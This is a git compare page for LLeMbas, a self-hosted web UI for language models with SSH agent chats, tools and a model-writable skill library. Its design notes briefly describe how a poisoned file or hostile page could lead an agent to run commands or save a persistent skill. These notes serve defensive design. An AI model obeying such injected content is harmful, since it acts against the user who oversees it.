Compare commits
55 Commits
v1.0.1
...
816f2ae957
| Author | SHA1 | Date | |
|---|---|---|---|
| 816f2ae957 | |||
| 0e3133a1e7 | |||
| 4b8fd6bad2 | |||
| bc141eae10 | |||
| 82a7ef5b58 | |||
| 374982174f | |||
| 8a3a225fea | |||
| 0bee366488 | |||
| a4cfb2eea4 | |||
| facce7b49a | |||
| 2ac5c9a5e1 | |||
| 131a4083f8 | |||
| b6cea42631 | |||
| 803d808723 | |||
| 621e95d2e3 | |||
| 5117168454 | |||
| 246be1fa8e | |||
| 16e59feab2 | |||
| a064407fa7 | |||
| 191394fa08 | |||
| 4ced049ff8 | |||
| 0a4531f02d | |||
| 671e49cae8 | |||
| 8c3fe97939 | |||
| b39e4eac88 | |||
| ecb52e9978 | |||
| bc84fec21d | |||
| d9f274ec1a | |||
| 584beca22d | |||
| 17f3fa1946 | |||
| 314cc946d7 | |||
| 26793b1317 | |||
| 09eecbdd9a | |||
| e185edc9e1 | |||
| 9e2caeac48 | |||
| 2fe736aa6a | |||
| 6dd13b2e9d | |||
| ec457debb3 | |||
| 85f18e99b2 | |||
| 2c8c274850 | |||
| 17995c1275 | |||
| 2f978d84d1 | |||
| a0f733063a | |||
| 21001f2eb8 | |||
| a8b7b5fc14 | |||
| 7456525d19 | |||
| de178837b8 | |||
| a071d8486b | |||
| f744232d25 | |||
| 085dca5ec4 | |||
| 7b67568f2c | |||
| bdce2764b1 | |||
| d6c87ac811 | |||
| ba2fb1e13d | |||
| dd9e0e9440 |
@@ -20,8 +20,10 @@ LEMBAS_RELOAD=false
|
||||
# debug | info | warning | error
|
||||
LEMBAS_LOG_LEVEL=info
|
||||
|
||||
# Allow new accounts to register themselves. The very first account created is
|
||||
# always an admin, regardless of this setting. Turn off once your users exist.
|
||||
# Allow new accounts to register themselves. This is only the INITIAL value:
|
||||
# once an administrator sets it under Admin -> General, the stored setting wins
|
||||
# and this variable is ignored. The very first account created is always an
|
||||
# admin regardless.
|
||||
LEMBAS_ALLOW_SIGNUP=true
|
||||
|
||||
# Default theme for signed-out visitors: moria (dark) or shire (light).
|
||||
|
||||
@@ -0,0 +1,337 @@
|
||||
# LLeMbas — plan and status
|
||||
|
||||
Where the project is, what is deliberately not built yet, and the decisions
|
||||
that would be expensive to revisit. Kept current as work lands; the detail of
|
||||
*how* things work lives in [`CLAUDE.md`](CLAUDE.md).
|
||||
|
||||
**Status:** usable daily. Streaming chat, attachments, reasoning, tool calling
|
||||
with web search, custom HTTP tools and MCP servers, agent chats that work on a
|
||||
machine over SSH, a knowledge library, notes, memory and skills, speech in and
|
||||
out, users and groups, model administration, installable as an app. 1009 tests,
|
||||
`ruff` clean.
|
||||
|
||||
---
|
||||
|
||||
## The shape of it
|
||||
|
||||
A self-hosted web UI for OpenAI-compatible endpoints, written in Python, themed
|
||||
after Middle-earth.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Stack | FastAPI + Jinja + htmx + a little Alpine |
|
||||
| Build step | none — no Node, no npm, no CDN at runtime |
|
||||
| Database | SQLite, schema synchronised additively at startup |
|
||||
| Deployment | systemd unit + nginx vhost, one worker |
|
||||
|
||||
These are load-bearing. Dropping the no-build rule or moving off SQLite would
|
||||
be a different project, not a refactor.
|
||||
|
||||
---
|
||||
|
||||
## Done
|
||||
|
||||
### Chat
|
||||
- [x] Streaming replies over server-sent events
|
||||
- [x] **Markdown renders progressively** — re-rendered whole every 100ms rather
|
||||
than appending tokens, because a list or code fence is only correct once
|
||||
its context exists
|
||||
- [x] Syntax highlighting (Pygments), sanitised with nh3
|
||||
- [x] **Generation runs in the background** — a task, not the request. Navigate
|
||||
away, open another chat, close the tab: the reply keeps being written and
|
||||
reattaching replays the whole state
|
||||
- [x] **Stop** — the send button becomes Stop while writing; what arrived is kept
|
||||
- [x] **Rewind** — edit one of your own turns and the conversation runs on from
|
||||
there. Truncates rather than branching
|
||||
- [x] Copy, regenerate, automatic chat titles
|
||||
- [x] Chats created on first message, so an abandoned composer leaves nothing
|
||||
- [x] **Unread indicator** — a green dot and a toast when a reply lands while
|
||||
you were elsewhere
|
||||
- [x] Folders, arbitrarily nested; deleting one keeps the chats inside it
|
||||
- [x] Per-reply metrics — tokens, context used as a percentage, tokens/second,
|
||||
live while streaming and kept afterwards. Estimated with a `~` when the
|
||||
endpoint reports no usage
|
||||
- [x] Compaction — a button, and automatically at a configurable percentage of
|
||||
the model's context. Summarised turns are kept and collapsed, not deleted
|
||||
- [x] Temporary chats — never listed, swept after a day, with a Keep button
|
||||
- [x] An admin-only request inspector beside the thread
|
||||
|
||||
### Tools
|
||||
- [x] **Tool calling** — one reply is a bounded loop of requests, not one
|
||||
request. Text produced before a call is kept
|
||||
- [x] **Web search** as the first tool: DuckDuckGo (no setup), SearXNG or
|
||||
Firecrawl, chosen in the admin area
|
||||
- [x] Only offered to models flagged `tools`, because an endpoint without
|
||||
support rejects the whole request rather than ignoring the array
|
||||
- [x] Sources stay in the transcript; results are **not** replayed as context on
|
||||
the next turn, for the same reasons reasoning is not
|
||||
- [x] A round's calls run together, and the reply says which tool is running —
|
||||
a remote tool taking seconds with nothing streaming looks like a hang
|
||||
- [x] **A reply can stop and ask you something** — one or more questions on one
|
||||
card, with answers to pick from and a box to write your own, answered
|
||||
together. The same mechanism carries command approvals
|
||||
- [x] **Custom HTTP tools** — an administrator describes one call: a JSON Schema,
|
||||
a URL template, headers, an encrypted secret and how to read the answer.
|
||||
Arguments may fill a hole but never move the target: the scheme and host
|
||||
are literal, values are escaped for where they land, and the origin is
|
||||
pinned afterwards
|
||||
- [x] **MCP servers** over streamable HTTP — a hand-written client, so that
|
||||
`check_url` runs on every hop rather than being bypassed by somebody
|
||||
else's transport. Tools are discovered and cached by a button, namespaced
|
||||
per server, and a server's own descriptions are bounded before they reach
|
||||
a model as instructions
|
||||
- [x] Both gated like the built-ins — a model capability, a permission — and
|
||||
restrictable to groups, with guidance of their own on `/admin/prompts`
|
||||
- [x] Local MCP over stdio is deliberately absent: spawning a subprocess would
|
||||
run on this machine, which nothing here does
|
||||
|
||||
### Agent chats
|
||||
- [x] A chat is a **Chat** or an **Agent**, chosen when it starts and fixed
|
||||
thereafter — a transcript whose earlier turns ran somewhere else is not
|
||||
one conversation. Knowledge, memories and skills are shared across both
|
||||
- [x] **Nothing runs on the LLeMbas host.** Commands go to a machine reached
|
||||
over SSH, so containment is somebody's considered choice of host — a
|
||||
container built for the job — rather than a sandbox built here. A local
|
||||
one was designed in detail and dropped; see CLAUDE.md for why
|
||||
- [x] **SSH connections are user-owned**, like notes. An administrator decides
|
||||
only whether the feature exists at all
|
||||
- [x] Trust on first use, made explicit: adding a host does not connect to it,
|
||||
**Check** shows its fingerprint with nothing sent, and only accepting
|
||||
pins it. A host that later answers with a different key is refused
|
||||
- [x] Four modes as a table over what each tool does to the world —
|
||||
**Manual** asks about everything, **Edit** writes freely but asks before
|
||||
commands, **Auto** asks about nothing, **Plan** reads freely and changes
|
||||
nothing. Switchable at any time; read once per reply
|
||||
- [x] Enforced in the generation loop, not in the prompt: a rule a model is
|
||||
merely told is one a poisoned file can argue with
|
||||
- [x] A deny list beats **Auto**; an allow list cannot be matched by a command
|
||||
containing anything that joins two commands together
|
||||
- [x] `shell_run`, `file_read`, `file_write`, `file_list` — files over SFTP,
|
||||
never through a shell, because the SSH exec protocol has no argv form
|
||||
- [x] **Plan mode ends with a plan** you can carry out with one button, which
|
||||
switches to Edit and sends it back quoted rather than as an instruction
|
||||
- [x] Per-reply budgets on steps, wall clock and output, with time spent
|
||||
waiting for you subtracted
|
||||
- [x] **A terminal panel** beside the chat, holding a real shell on that chat's
|
||||
own connection. The modes govern the model; what a person types is theirs,
|
||||
since they hold the credential and could open the same shell with an ssh
|
||||
client. The model cannot see the panel — sending it output is a button
|
||||
- [x] The shell outlives the panel and the page: closing it leaves a build
|
||||
running, and coming back reattaches with the scrollback. An idle timeout
|
||||
is what eventually ends one, and so does deleting the chat, or disabling,
|
||||
moving or deleting the connection
|
||||
- [x] **The panel is resizable**, dragged from its edge or nudged with the
|
||||
arrow keys, and the width follows you to another browser
|
||||
- [x] **It knows where one command ends and the next begins** — bash and zsh
|
||||
are given the markers VS Code and WezTerm use, so *Copy* and *Send* mean
|
||||
one command and its output rather than the last forty rows of the screen.
|
||||
An **Auto** toggle collects each one into the next message. Any other
|
||||
shell starts exactly as it did before, the buttons fall back to the
|
||||
screen and say so, and Auto is disabled rather than degraded
|
||||
- [x] **The project directory is listed for the model** — one read-only
|
||||
command, `git ls-files` where that works so `.gitignore` is honoured for
|
||||
free, budgeted so a big directory becomes a count rather than a thousand
|
||||
filenames on every request
|
||||
- [x] **A directory is chosen by browsing it** over SFTP, not by typing a path
|
||||
into an unlabelled box
|
||||
- [x] The approval mode is chosen **before** the first message, beside the
|
||||
message box rather than in the header
|
||||
|
||||
### The library
|
||||
- [x] **Knowledge bases** — documents, images and saved web pages, grouped into
|
||||
named collections and ingested through the same pipeline as chat
|
||||
attachments, searched with SQLite FTS5
|
||||
- [x] A chat can be pointed at particular bases, so "answer from the contracts
|
||||
folder" is a different question from "answer from everything I have"
|
||||
- [x] **Notes** — longer things the model writes down and searches later;
|
||||
editable by hand, because they are yours
|
||||
- [x] **Memory** — short facts, injected on every turn to a budget rather than
|
||||
searched, and managed in your settings
|
||||
- [x] **Skills** — saved procedures. Only the name and description are injected;
|
||||
the body is fetched when the model decides it applies
|
||||
- [x] A model may write and revise its own notes, memories and skills. Every
|
||||
skill revision is kept, attributed and revertible — the safety story is a
|
||||
record and a way back, not a gate
|
||||
- [x] **Sharing** — a knowledge base, a note or a skill can be shared with a
|
||||
group or with named people, read-only. One visibility rule, and
|
||||
administrators do not bypass it. Documents are shared through their base
|
||||
- [x] **The harness** — an operational prompt assembled from what a model
|
||||
actually has, so the tools get used rather than ignored
|
||||
- [x] Attach menu: file, image, a web page fetched on the spot, or a document
|
||||
from the library
|
||||
- [x] **`@` to name one** — the library everywhere, and files in the project
|
||||
directory in an agent chat. The reference stays in the sentence and the
|
||||
contents come along, with the path and the machine, so the model knows
|
||||
exactly which file it was handed
|
||||
|
||||
### Audio
|
||||
- [x] **Dictation** — record in the composer, transcribed by any OpenAI-shaped
|
||||
`/v1/audio/transcriptions` endpoint. The recording never touches disk
|
||||
- [x] **Read aloud** — any `/v1/audio/speech` endpoint, with the voice list
|
||||
discovered from the server where it offers one
|
||||
- [x] Instance defaults in Admin, per-reader overrides in Settings — voice,
|
||||
speed, dictation language, and whether replies play automatically
|
||||
|
||||
### Models and reasoning
|
||||
- [x] OpenAI-compatible connections with encrypted keys and model discovery
|
||||
- [x] **Reasoning display** — `reasoning_content` and inline `<think>` tags,
|
||||
collapsed by default, labelled with how long it took, never replayed as
|
||||
context
|
||||
- [x] Model admin as a list plus a page per model; scales to hundreds
|
||||
- [x] Ordering, pinning (a sidebar shortcut, *not* a reordering), instance
|
||||
default, per-user default, images, capability flags
|
||||
- [x] Custom model picker showing avatars, descriptions and capabilities
|
||||
|
||||
### Attachments
|
||||
- [x] Drag, paste or pick images, PDFs and text files
|
||||
- [x] Images downscaled and sent to vision models as content parts
|
||||
- [x] PDF and text extracted at upload and placed in the prompt
|
||||
- [x] Type decided by inspecting bytes, random names on disk, non-images served
|
||||
as downloads with `nosniff`
|
||||
- [x] No OCR: a scanned PDF says so rather than silently contributing nothing
|
||||
|
||||
### People
|
||||
- [x] Accounts, argon2, revocable server-side sessions, self-service password
|
||||
change
|
||||
- [x] Users and groups with permissions that **union** rather than override
|
||||
- [x] Model access restricted to chosen groups
|
||||
- [x] Registration toggle, instance settings stored in the database
|
||||
|
||||
### Prompts
|
||||
- [x] Three layers — instance, model, chat — with the most specific winning
|
||||
**outright** rather than being concatenated
|
||||
- [x] Every injected fragment editable at `/admin/prompts`: the tool guidance,
|
||||
the memory and skill sections, the seam above the authored prompt, and the
|
||||
request that names a chat
|
||||
- [x] `{{variables}}` with a legend, values shown as they currently resolve, and
|
||||
pass-through for anything that is not one
|
||||
- [x] A preview of the whole assembled system message, including unsaved edits
|
||||
- [x] Defaults in code and overrides in the database, so improving a default
|
||||
still reaches an instance that never edited it
|
||||
|
||||
### Suggestions
|
||||
- [x] Admin-managed cards on the new-chat screen; three seeded once at startup
|
||||
|
||||
### Interface
|
||||
- [x] **`/` for commands** — compact, usage, mode, model, title, the panels,
|
||||
the theme. Anything not in the table is sent as an ordinary message, and
|
||||
`//` starts one with a literal slash
|
||||
- [x] **Keyboard shortcuts** for the same jobs, listed beside the commands in
|
||||
one table so `/help` cannot go stale
|
||||
- [x] Mentions and recognised commands are marked as you type, and again in the
|
||||
transcript, so you can see what a message will do before sending it
|
||||
- [x] **Reasoning effort** per chat, with a per-model default. Sent as both
|
||||
`reasoning_effort` and `chat_template_kwargs`, and only once chosen:
|
||||
OpenAI and vLLM read the first, llama.cpp silently drops it and reads
|
||||
only the second
|
||||
- [x] **Installable** — manifest, generated PWA icons, a service worker for the
|
||||
shell and a themed offline page. The worker deliberately never touches
|
||||
`/api/`: a reply is an event stream and caching one breaks it
|
||||
- [x] Two themes (`moria`, `shire`) from one set of design tokens
|
||||
- [x] Every control sized from `--control-h`, so rows line up by construction
|
||||
- [x] Toasts and dialogs of our own; no `window.confirm` anywhere
|
||||
- [x] Original SVG artwork generated from a single source
|
||||
|
||||
### Operations
|
||||
- [x] Additive schema sync — new tables and columns applied at startup
|
||||
- [x] `deploy/` — systemd unit and nginx templates, install and update scripts
|
||||
|
||||
---
|
||||
|
||||
## Not built yet
|
||||
|
||||
In the order they are likely to be worth doing.
|
||||
|
||||
### Image generation
|
||||
Left until last from the start, as it needs heavy customisation. ComfyUI is
|
||||
already running on this machine and is the obvious first target.
|
||||
|
||||
### Smaller things
|
||||
- **OCR** for scanned PDFs
|
||||
- **Conversation branching** — `Message.parent_id` exists unused; needs a UI for
|
||||
choosing between versions, which is why rewind truncates for now
|
||||
- **Chat export** (Markdown, JSON)
|
||||
- **Semantic search** in the library — the retrieval service is one call, so an
|
||||
embedding backend can go behind it without touching the tools or the UI
|
||||
- **Archived chats** — the column exists, nothing surfaces it
|
||||
- **Per-user quotas**
|
||||
|
||||
---
|
||||
|
||||
## Known limits
|
||||
|
||||
Worth knowing before they surprise someone.
|
||||
|
||||
**One worker.** The generation registry and the stop mechanism are in-process.
|
||||
Running several workers needs that state in the database or a broker, because
|
||||
the request following a reply would not necessarily land in the process writing
|
||||
it.
|
||||
|
||||
**A restart abandons replies in flight.** Shutdown cancels them and keeps what
|
||||
each had. There is no resume.
|
||||
|
||||
**Schema changes are additive only.** New tables and columns apply themselves;
|
||||
renames, drops and retypes are manual against the SQLite file. `MANUAL_STEPS`
|
||||
in `db/migrations.py` is where such a step gets recorded.
|
||||
|
||||
**Attachments live on disk, unreferenced files are swept at startup.** No
|
||||
deduplication, no size quota.
|
||||
|
||||
**Unread is polled every 10 seconds.** A push channel would be more responsive
|
||||
but means an always-on connection per tab for the sake of a green dot.
|
||||
|
||||
**Installing needs HTTPS or localhost.** Service workers are unavailable over
|
||||
plain HTTP, so a LAN install without TLS is a normal browser tab. The
|
||||
microphone is unavailable for the same reason.
|
||||
|
||||
**Tool calling needs a model that supports it.** The `tools` flag is an
|
||||
administrator's assertion, not something endpoints reliably advertise. Set it on
|
||||
a model that cannot, and its replies fail rather than degrade.
|
||||
|
||||
**Library search is keyword, not semantic.** FTS5 ranks well and needs no
|
||||
dependency or embedding endpoint, but "how do I get paid" will not find a
|
||||
document that says "invoicing".
|
||||
|
||||
**A model can write its own skills, and they take effect at once.** Marked as
|
||||
model-authored and fully revertible, but a model that has just read a hostile
|
||||
page could save a skill that outlives the conversation. The mitigation is that
|
||||
it is visible and undoable, not that it was prevented.
|
||||
|
||||
---
|
||||
|
||||
## Deliberate decisions
|
||||
|
||||
Recorded because each looks like an oversight until you know the reason.
|
||||
|
||||
- **No JavaScript build step.** Browser libraries are hash-pinned and committed.
|
||||
A self-hosted tool should work offline and not report page views to a CDN.
|
||||
- **Permissions union, never deny.** With denies, "why can this user not do X"
|
||||
cannot be answered without simulating every group.
|
||||
- **System prompts replace, never stack.** Two layers that disagree give the
|
||||
model contradictory instructions and nobody can tell which is losing.
|
||||
- **Rewind truncates, does not branch.** Branching needs a UI for choosing
|
||||
between versions; "go back and try again from here" is what was asked for.
|
||||
- **Pinning is a shortcut, not an ordering.** A picker whose order silently
|
||||
differs from the admin screen is confusing.
|
||||
- **Images only reach models marked `vision`.** Not graceful degradation: most
|
||||
endpoints reject the entire request rather than ignoring an image part. Tools
|
||||
are gated the same way, for the same reason.
|
||||
- **Sharing grants reading, never writing.** Two people editing one note with no
|
||||
history and no merge is worse than the inconvenience of copying it.
|
||||
- **Memory is never shareable.** A record about a person is not content to hand
|
||||
round.
|
||||
- **Knowledge attached to a message is copied, not referenced.** History must not
|
||||
change under a conversation because a document was edited later.
|
||||
- **The harness is prepended to the authored prompt, not a fourth layer.** It
|
||||
describes the machinery; the authored layers describe the behaviour. Only one
|
||||
authored layer still wins.
|
||||
- **Tool results are not replayed.** Like reasoning: the answer already contains
|
||||
what the model made of them, and replaying stale results into every later
|
||||
request wastes the window and sends small models into search loops.
|
||||
- **The service worker caches the shell, never a page with a user in it.** A
|
||||
cached conversation would be a snapshot that silently went stale, belonging to
|
||||
whoever was signed in last.
|
||||
- **Markdown rendered server-side.** One code path produces the streamed and
|
||||
the stored view, so they cannot disagree.
|
||||
- **This repository is public.** Deployment hostnames, ports and paths stay out
|
||||
of it; `deploy/` is templates, and the real values live in private notes.
|
||||
@@ -1,2 +1,384 @@
|
||||
# LLeMbas
|
||||
<p align="center">
|
||||
<img src="assets/banner.svg" alt="LLeMbas — waybread for the long road of thought" width="100%">
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<strong>A self-hosted web UI for your language models, written in Python.</strong><br>
|
||||
Talks to anything that speaks the OpenAI API. Themed after Middle-earth.
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<img alt="Python 3.11+" src="https://img.shields.io/badge/python-3.11%2B-3E6B7A?style=flat-square">
|
||||
<img alt="License GPL-3.0" src="https://img.shields.io/badge/license-GPL--3.0-C9A227?style=flat-square">
|
||||
<img alt="No Node required" src="https://img.shields.io/badge/build%20step-none-6B8E4E?style=flat-square">
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
*Lembas* is the Elvish waybread — one bite sustains a traveller for a day's
|
||||
march. The capitals hide what it runs on: **LLeM**bas.
|
||||
|
||||
## Why this exists
|
||||
|
||||
Most self-hosted LLM front-ends are large JavaScript applications with a Python
|
||||
API bolted underneath. LLeMbas is the other way round: **server-rendered
|
||||
Python**, with htmx and a little Alpine for interactivity. There is no
|
||||
`package.json`, no bundler, no build step, and nothing is fetched from a CDN at
|
||||
runtime. Clone it, `pip install -e .`, run it.
|
||||
|
||||
## Features
|
||||
|
||||
**Working now**
|
||||
|
||||
- **Chats** — streaming replies, Markdown with server-side syntax highlighting,
|
||||
copy and regenerate, automatic chat titles. Chats are created when you send
|
||||
the first message, so an abandoned one never clutters the sidebar
|
||||
- **System prompts** — instance-wide, per-model and per-chat, with the most
|
||||
specific winning outright
|
||||
- **Reasoning display** — thinking streams into its own collapsible block
|
||||
(closed by default), labelled with how long it took, and is never replayed as
|
||||
context
|
||||
- **Live Markdown** — formatting appears as the model writes, not at the end
|
||||
- **Stop and rewind** — cut a reply short and keep what arrived, or edit an
|
||||
earlier message and run the conversation on from there
|
||||
- **Replies keep running in the background** — navigate away, open another
|
||||
chat, close the tab; a green dot and a notification tell you when it lands
|
||||
- **Attachments** — drag, paste or pick images, PDFs and text files. Images are
|
||||
downscaled and sent to vision models; PDF and text content is extracted and
|
||||
put in the prompt
|
||||
- **`@` to name something** — a document from your library, or in an agent chat
|
||||
a file in the project directory. The reference stays in the sentence you are
|
||||
writing and the contents come with it
|
||||
- **`/` for commands** — `/compact`, `/usage`, `/mode plan`, `/effort high`,
|
||||
`/model`, `/title`, `/terminal`, `/theme`. The list appears as you type and
|
||||
filters as you go; `/help` shows all of them with the keyboard shortcuts
|
||||
beside them. A message that merely starts with a slash is still sent as
|
||||
written, and both `@` and a recognised command are marked in the box as you
|
||||
type so you can see what will happen before you press Enter
|
||||
- **Reasoning effort** — `/effort low`, `medium` or `high` on a model marked as
|
||||
reasoning, with a per-model default in the admin area. Sent two ways at once,
|
||||
because there is no single field every endpoint reads
|
||||
- **Folders** — arbitrarily nested, delete a folder without losing the chats
|
||||
inside it
|
||||
- **Web search** — offered to the model as a tool it calls when a question needs
|
||||
it. DuckDuckGo out of the box (no account, no key), or point it at your own
|
||||
SearXNG, or Firecrawl. The sources stay in the transcript
|
||||
- **Your own tools** — describe an HTTP call in the admin area (a schema, a URL
|
||||
template, a secret) and a model can make it. Or add an **MCP server** by URL
|
||||
and its tools appear beside the built-in ones. Both restrictable to groups,
|
||||
and neither can be pointed at your own network unless you say so
|
||||
- **Agent chats** — start a chat as an *Agent* instead, pointed at one of your
|
||||
own SSH connections and a directory on it, and a model can read files, write
|
||||
files and run commands **there**. Nothing ever runs on the machine LLeMbas
|
||||
itself is on. What it may do without asking is a mode you set and can change
|
||||
mid-conversation: *Manual* shows you everything first, *Edit* writes freely
|
||||
but asks before commands, *Auto* asks about nothing, and *Plan* reads freely,
|
||||
changes nothing, and finishes by proposing steps you can carry out with one
|
||||
button. Adding a host shows you its fingerprint before anything is sent to it
|
||||
- **A terminal beside the chat** — the same connection, a real shell, opened and
|
||||
closed like any panel. It survives closing the panel and reloading the page,
|
||||
so a build keeps running; the model cannot see it, and a button hands it the
|
||||
output you choose
|
||||
- **It can ask you things** — a model that needs a decision can stop and put a
|
||||
few questions on one card, with answers to pick from and a box to write your
|
||||
own. In any chat, not only an agent one
|
||||
- **Speech in and out** — dictate a message and have replies read aloud, against
|
||||
any OpenAI-compatible audio endpoint (whisper.cpp, Speaches, Kokoro…). Each
|
||||
person picks their own voice
|
||||
- **A library** — four places a model can reach for. **Knowledge**: documents,
|
||||
images and web pages you collect, grouped into named bases so a chat can be
|
||||
pointed at just the right one, searched before the web. **Notes**: longer
|
||||
things it writes down and finds again later. **Memory**: short facts about you,
|
||||
in front of it on every turn. **Skills**: saved procedures it can follow, and
|
||||
write. All of it visible and editable by you, and shareable with a group or a
|
||||
person, read-only
|
||||
- **Installable** — add it to a phone home screen or a desktop launcher and it
|
||||
runs in its own window
|
||||
- **OpenAI connections** — point at OpenAI, LM Studio, vLLM, llama.cpp,
|
||||
llama-swap, Ollama or OpenRouter; models are discovered and cached
|
||||
- **Model settings** — searchable, filterable list with a page per model:
|
||||
ordering, pinned models, an instance default and a per-user default, custom
|
||||
names, descriptions and images. Scales to hundreds of models
|
||||
- **Users, groups & permissions** — per-group grants that union rather than
|
||||
override, and model access restricted to chosen groups
|
||||
- **Accounts** — first account becomes the administrator, argon2 password
|
||||
hashing, revocable server-side sessions, self-service password change,
|
||||
admin-managed accounts
|
||||
- **Admin settings** — open or close registration from the UI, stored in the
|
||||
database and effective immediately
|
||||
- **Two themes** — *Moria* (dark) and *Shire* (light), switchable per user
|
||||
|
||||
**Planned**
|
||||
|
||||
Image generation · OCR for scanned PDFs · semantic search in the library.
|
||||
|
||||
See [PLAN.md](PLAN.md) for what is built, what is not, and why.
|
||||
|
||||
## Quick start
|
||||
|
||||
```bash
|
||||
git clone https://git.houmeres.sk/Houmeres/LLeMbas.git
|
||||
cd LLeMbas
|
||||
|
||||
python -m venv .venv && . .venv/bin/activate
|
||||
pip install -e ".[dev,search,ssh]" # search: DuckDuckGo. ssh: agent chats.
|
||||
# Drop either if you do not want it
|
||||
|
||||
cp .env.example .env
|
||||
lembas secret-key # paste the result into LEMBAS_SECRET_KEY
|
||||
|
||||
lembas serve # http://127.0.0.1:8080
|
||||
```
|
||||
|
||||
Open the address and create the first account — it becomes the administrator.
|
||||
Then go to **Admin → Connections** and add an endpoint. For a local runner that
|
||||
is usually `http://localhost:1234/v1` with no API key. Press **Test & refresh**
|
||||
and its models appear in the chat model picker.
|
||||
|
||||
> The vendored browser libraries (htmx, Alpine) are committed, so no network
|
||||
> access is needed to run. To re-fetch or bump them:
|
||||
> `python scripts/fetch_vendor.py --update`.
|
||||
|
||||
### Web search
|
||||
|
||||
**Admin → Web search.** DuckDuckGo needs nothing beyond the `search` extra
|
||||
above. SearXNG needs its JSON format enabled — add `- json` under
|
||||
`search.formats` in its `settings.yml`, or every search fails. Firecrawl needs
|
||||
an API key.
|
||||
|
||||
Search is offered to the model as a *tool*, so it decides when a question needs
|
||||
looking up. It is only offered to models marked **tools** under
|
||||
**Admin → Models**: an endpoint without tool support rejects the whole request
|
||||
rather than ignoring the extra field, so the flag is a real switch and not a
|
||||
hint.
|
||||
|
||||
### Audio
|
||||
|
||||
**Admin → Audio.** Two endpoints, because they are usually two servers:
|
||||
|
||||
| | Speaks | Example |
|
||||
|---|---|---|
|
||||
| Dictation | `POST /v1/audio/transcriptions` | whisper.cpp's `whisper-server`, Speaches, faster-whisper-server |
|
||||
| Read aloud | `POST /v1/audio/speech` | Kokoro-FastAPI, OpenAI |
|
||||
|
||||
If the speech endpoint also answers `GET /v1/audio/voices` the voice list is
|
||||
read from it, and each person can pick their own under **Settings → Audio**.
|
||||
Recorded audio is passed straight through and never written to disk.
|
||||
|
||||
> The microphone needs HTTPS or localhost. Browsers do not grant it over plain
|
||||
> HTTP, so a LAN install without TLS will not offer dictation.
|
||||
|
||||
### Agent chats
|
||||
|
||||
**Admin → Agents** to turn the feature on, then **Connections** in the sidebar
|
||||
to add a machine. Three things have to line up before an agent chat can start:
|
||||
the feature enabled, the *Run commands* permission, and a model flagged **Agent
|
||||
execution**. All three are off by default, on purpose.
|
||||
|
||||
Nothing an agent does runs on the machine LLeMbas is on. Commands go to a host
|
||||
you name over SSH, which means **the containment is that host** — a container
|
||||
built for the job is a very different thing from a key to a server you care
|
||||
about, and LLeMbas cannot tell them apart. A throwaway container is the intended
|
||||
shape:
|
||||
|
||||
```bash
|
||||
docker run -d --name agent-box -p 127.0.0.1:2222:22 <an sshd image>
|
||||
```
|
||||
|
||||
Adding a connection does not connect to it. **Check** shows you the host's
|
||||
fingerprint with nothing sent — not your username, not your key — and only
|
||||
accepting pins it. If that host later answers with a different key, it is
|
||||
refused rather than quietly trusted.
|
||||
|
||||
Then start a chat with the **Agent** toggle, pick the connection, browse to a
|
||||
directory, and choose a mode — all of it under the message box, before you send
|
||||
anything. The connection and the directory are fixed once the chat exists; the
|
||||
mode changes at any time and stays where you chose it:
|
||||
|
||||
| | Reads | Writes files | Runs commands |
|
||||
|---|---|---|---|
|
||||
| **Manual** | asks | asks | asks |
|
||||
| **Edit** | free | free | asks |
|
||||
| **Auto** | free | free | free |
|
||||
| **Plan** | free | asks | asks |
|
||||
|
||||
The mode is enforced in the reply loop, not written into the prompt: everything
|
||||
a model reads — a web page, a README, the last command's output — is untrusted,
|
||||
and a rule that lives only in a system message is one a poisoned file can argue
|
||||
with. In **Auto**, nothing stands between that and a command running.
|
||||
|
||||
*Plan* finishes by proposing steps, with a button that carries them out — which
|
||||
switches to *Edit*, never *Auto*, because the plan was written under a mode
|
||||
where every command still asked.
|
||||
|
||||
#### What the model knows about the directory
|
||||
|
||||
An agent chat starts by listing the project directory, so a reply does not spend
|
||||
its first rounds finding out what is there. It is one read-only command —
|
||||
`git ls-files` in a repository, so `.gitignore` is honoured for free, otherwise
|
||||
`find` with the usual noise pruned — and it is cached and shared by every chat
|
||||
pointed at the same place.
|
||||
|
||||
What reaches the model is budgeted rather than dumped: a directory that will not
|
||||
fit is shown as `node_modules/ (4,102 files)` and the model is told to open it
|
||||
itself if it needs to. **Admin → Agents** sets the budget, and `0` keeps the
|
||||
listing for the `@` picker while putting none of it in the prompt.
|
||||
|
||||
Listing a directory and browsing one are things *you* asked for, not things a
|
||||
model chose, so neither goes through the modes above. Worth knowing if you read
|
||||
**Manual** as "nothing happens without me": it means nothing the *model* does.
|
||||
|
||||
#### The terminal
|
||||
|
||||
An agent chat has a **Terminal** button in its header, which opens a real shell
|
||||
on that chat's connection, in its directory, beside the conversation. It needs
|
||||
the *Open a terminal* permission, which is off by default.
|
||||
|
||||
The modes above do not apply to it. They exist because a model reads pages,
|
||||
files and command output it did not write; you hold the credential and could
|
||||
open the same shell with an ssh client, so nothing you type is queued for your
|
||||
own approval. The model cannot see the panel either — three buttons in its
|
||||
header decide what it sees: **Copy** takes the last command and its output to
|
||||
the clipboard, **Send** puts the same into the message box, and **Auto**
|
||||
collects every command you run into your next message. Nothing is ever sent on
|
||||
its own; the box is where you read it first.
|
||||
|
||||
Knowing what "the last command" means takes a little help from the shell.
|
||||
LLeMbas gives bash and zsh the same invisible markers VS Code and WezTerm use,
|
||||
written into a temporary file the shell deletes itself, so it can tell one
|
||||
command's output from the next and record the exit status and the directory.
|
||||
Your own dotfiles are loaded first and nothing of yours is skipped. Any other
|
||||
shell starts exactly as it would have; the two buttons then copy the last of the
|
||||
screen as it appeared, say so, and Auto is switched off rather than guessing.
|
||||
|
||||
Drag the panel's left edge to make it wider — a terminal narrower than eighty
|
||||
columns re-wraps everything a program prints — and the width follows you to
|
||||
another browser.
|
||||
|
||||
The shell is not tied to the panel. Close it and a build carries on; come back,
|
||||
or reload, and you reattach with the scrollback. Two tabs share one shell, and
|
||||
the smaller window decides the size. It ends when nobody has watched it and
|
||||
nothing has been typed for a while, when the chat is deleted, when the
|
||||
connection is disabled or deleted, or when LLeMbas restarts — a deploy cuts off
|
||||
whatever was running, and the panel says so rather than quietly opening a fresh
|
||||
shell that has lost your working directory.
|
||||
|
||||
> Nothing typed here is in the transcript and nothing is logged but the opening
|
||||
> and the closing. If you are running this over plain http, note that the
|
||||
